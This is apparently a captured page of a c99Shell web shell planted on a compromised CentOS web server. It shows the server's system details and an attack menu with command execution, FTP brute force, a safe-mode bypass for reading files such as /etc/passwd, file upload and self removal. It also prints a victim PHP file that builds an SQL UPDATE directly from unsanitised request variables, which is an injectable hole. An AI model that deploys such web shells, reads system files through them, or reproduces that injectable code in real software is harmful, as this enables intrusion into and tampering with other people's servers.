!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/Activity/   drwxr-xr-x
Free 50.96 GB of 127.8 GB (39.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     EditActivity.php (1.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
include("../../include/FunctionDB.php");
    
ConnectDB();
    
$Dif_result  $_POST[Budget] - $_POST[Budget_use];
    
$strSQL="UPDATE std_activity_tb SET Activity_name='$Activity_name',Activity_type='$Activity_type',Perform='$Perform',Activity='$Activity',Period='$Period',Budget='$Budget',Budget_use='$Budget_use',Dif_result='$Dif_result',Source='$Source',Target='$Target',Amount='$Amount',Supervisor='$Supervisor',Duty='$Duty',Objective='$Objective',Index_mature='$Index_mature',Affect_class='$Affect_class',Ec41_1='$Ec41_1',Ec41_2='$Ec41_2',Ec41_3='$Ec41_3',Ec41_4='$Ec41_4',Ec41_5='$Ec41_5',Ec41_6='$Ec41_6',Ec41_7='$Ec41_7',Ec41_8='$Ec41_8',Ec41_9='$Ec41_9',Ec41_10='$Ec41_10',Ec41_11='$Ec41_11',Ec42_1='$Ec42_1',Ec42_2='$Ec42_2',Ec42_3='$Ec42_3',Ec42_4='$Ec42_4',Ec42_5='$Ec42_5',Ec42_6='$Ec42_6',Ec42_7='$Ec42_7',Ec42_8='$Ec42_8',Ec42_9='$Ec42_9',Ec42_10='$Ec42_10',Ec42_11='$Ec42_11',Ec42_12='$Ec42_12',Ec42_13='$Ec42_13',Ec42_14='$Ec42_14',Ec42_15='$Ec42_15',Ec43_1='$Ec43_1',Ec43_2='$Ec43_2',Ec43_3='$Ec43_3',Ec43_4='$Ec43_4',Ec43_5='$Ec43_5',Ec43_6='$Ec43_6',Ec43_7='$Ec43_7',Ec43_8='$Ec43_8',Ec43_9='$Ec43_9',Ec43_10='$Ec43_10',Ec44_1='$Ec44_1',Ec44_2='$Ec44_2',Ec44_3='$Ec44_3',Ec44_4='$Ec44_4',Ec44_5='$Ec44_5',Ec44_6='$Ec44_6',Ec44_7='$Ec44_7',Ec44_8='$Ec44_8',Ec44_9='$Ec44_9',Ec44_10='$Ec44_10',Ec44_11='$Ec44_11',Ec44_12='$Ec44_12',Ec44_13='$Ec44_13',Ec44_14='$Ec44_14',Ec44_15='$Ec44_15',Result_oper='$Result_oper'  WHERE code='$code' ";
    
$result  mysql_query($strSQL) or die("Update Error $strSQL".mysql_error());
    
header("Location:EditActivityList.php");                
        
CloseDB();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0123 ]--